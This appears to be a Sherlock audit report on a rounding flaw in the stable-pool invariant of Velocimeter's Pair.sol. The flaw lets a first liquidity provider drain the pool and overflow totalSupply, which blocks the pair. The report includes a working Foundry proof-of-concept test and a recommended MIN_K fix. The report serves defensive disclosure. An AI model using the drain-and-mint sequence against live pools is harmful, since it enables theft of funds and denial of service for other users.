Immense Maroon Tiger

High

# The first liquidity provider to a stable pair can make the overflow of total Supply and dos the pair.

## Summary
Issue High: The first liquidity provider to a stable pair can make the overflow of total Supply and dos the pair.

## Vulnerability Detail

In the contract `Pair.sol`, the function `_k` calculates the invariant of a stable pool: 

[Pair](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L403-L413)

```solidity
    function _k(uint x, uint y) internal view returns (uint) {
        if (stable) {
            uint _x = x * 1e18 / decimals0;
            uint _y = y * 1e18 / decimals1;
            uint _a = (_x * _y) / 1e18;
            uint _b = ((_x * _x) / 1e18 + (_y * _y) / 1e18);
            return _a * _b / 1e18;  // x3y+y3x >= k
        } else {
            return x * y; // xy >= k
        }
    }
```

When x*y < 1e18, the value of `_a =  (x * y ) / 1e18` will be rounded down to zero. This rounding error can lead to the result of function `_k` to be zero and the trader can steal whatever is left in the pool.

The first liquidity provider can DOS the pair by (More details will be shown in POC): 
1. mint a small amount of liquidity to the pool.
2. Steal whatever is left in the pool.
3. Repeat step 1, and step 2 until the overflow of the total supply and the pair is dosed.
4. Other users can not use the pair.


Because, the value of `totalSupply` is calculated as ` totalSupply += amount` in the function `_mint` every time users add liquidity to the pair. And the `amount` is `liquidity` calculated as `liquidity = Math.min(_amount0 * _totalSupply / _reserve0, _amount1 * _totalSupply / _reserve1)`. After step 2 `Steal whatever is left in the pool`, the values of `_reserve0` and `_reserve1` can be manipulated to be very small, like 2 and 1. Therefore, the value of `liquidity` will be very large which leads to the accumulation of `liquidity` -- the value of `totalSupply` will overflow in about 10 loops of the step1 and step2. More details will be shown in POC.



The current check `liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY` in the function `mint` can not prevent the attack. When `_amount0 = 10_000_000` and `_amount1 = 10_000_000`, it can pass the check `liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY` while the calculation of `_k` will still be zero.

[Pair](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L250-L269)

```solidity
    function mint(address to) external lock returns (uint liquidity) {
        (uint _reserve0, uint _reserve1) = (reserve0, reserve1);
        uint _balance0 = IERC20(token0).balanceOf(address(this));
        uint _balance1 = IERC20(token1).balanceOf(address(this));
        uint _amount0 = _balance0 - _reserve0;
        uint _amount1 = _balance1 - _reserve1;

        uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
        if (_totalSupply == 0) {
            liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY;
            _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
        } else {
            liquidity = Math.min(_amount0 * _totalSupply / _reserve0, _amount1 * _totalSupply / _reserve1);
        }
        require(liquidity > 0, 'ILM'); // Pair: INSUFFICIENT_LIQUIDITY_MINTED
        _mint(to, liquidity);

        _update(_balance0, _balance1, _reserve0, _reserve1);
        emit Mint(msg.sender, _amount0, _amount1);
    }
```

POC is as follows:

```solidity
contract PairTest is BaseTest {
// ...
    function drainPair(Pair pair, uint initialFraxAmount, uint initialDaiAmount) internal {
        DAI.transfer(address(pair), 1);
        uint amount0;
        uint amount1;
        if (address(DAI) < address(FRAX)) {
            amount0 = 0;
            amount1 = initialFraxAmount - 1;
        } else {
            amount1 = 0;
            amount0 = initialFraxAmount - 1;
        }
        pair.swap(amount0, amount1, address(this), new bytes(0));
        FRAX.transfer(address(pair), 1);
        if (address(DAI) < address(FRAX)) {
            amount0 = initialDaiAmount; // initialDaiAmount + 1 - 1
            amount1 = 0;
        } else {
            amount1 = initialDaiAmount; // initialDaiAmount + 1 - 1
            amount0 = 0;
        }
        pair.swap(amount0, amount1, address(this), new bytes(0));
    }

    function testDestroyPair() public {
        confirmFraxDeployment();
        deployPairFactoryAndRouter();
        deployVoter();
        vm.startPrank(address(owner), address(owner));
        FRAX.approve(address(router), TOKEN_1);
        DAI.approve(address(router), TOKEN_1);
        router.addLiquidity(address(FRAX), address(DAI), true, 10_000_000, 10_000_000, 0, 0, address(owner), block.timestamp);
        //10_000_000^2 < 1e18
        

        Pair pair = Pair(factory.getPair(address(FRAX), address(DAI), true));
        drainPair(pair, FRAX.balanceOf(address(pair)) , DAI.balanceOf(address(pair)));

        console.log("DAI balance:", DAI.balanceOf(address(pair)));
        console.log("FRAX balance:", FRAX.balanceOf(address(pair)));


    
        for(uint i = 0; i < 10; i++) {
            DAI.transfer(address(pair), 10_000_000);
            FRAX.transfer(address(pair), 10_000_000);
            // as long as 10_000_000^2 < 1e18
            uint liquidity = pair.mint(address(this));
            console.log("pair:", address(pair), "liquidity:", liquidity);
            console.log("total liq:", pair.balanceOf(address(this)));
            drainPair(pair, FRAX.balanceOf(address(pair)) , DAI.balanceOf(address(pair)));
            console.log("DAI balance:", DAI.balanceOf(address(pair)));
            console.log("FRAX balance:", FRAX.balanceOf(address(pair)));
            require(DAI.balanceOf(address(pair)) == 1, "should drain DAI balance");
            require(FRAX.balanceOf(address(pair)) == 2, "should drain FRAX balance");
         
        }//during the loop 

        DAI.transfer(address(pair), 1 ether);
        FRAX.transfer(address(pair), 1 ether);
        vm.expectRevert();
        pair.mint(address(this));
        vm.stopPrank();
    }

}
```




## Impact

The first liquidity provider to a stable pair can dos the pair.


## Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L403-L413

## Tool used
Manual Review

## Recommendation

Add `require(_k(_amount0, _amount1) > MIN_K` to the function `mint` in the contract Pair.sol. And `MIN_K = 10**10`.
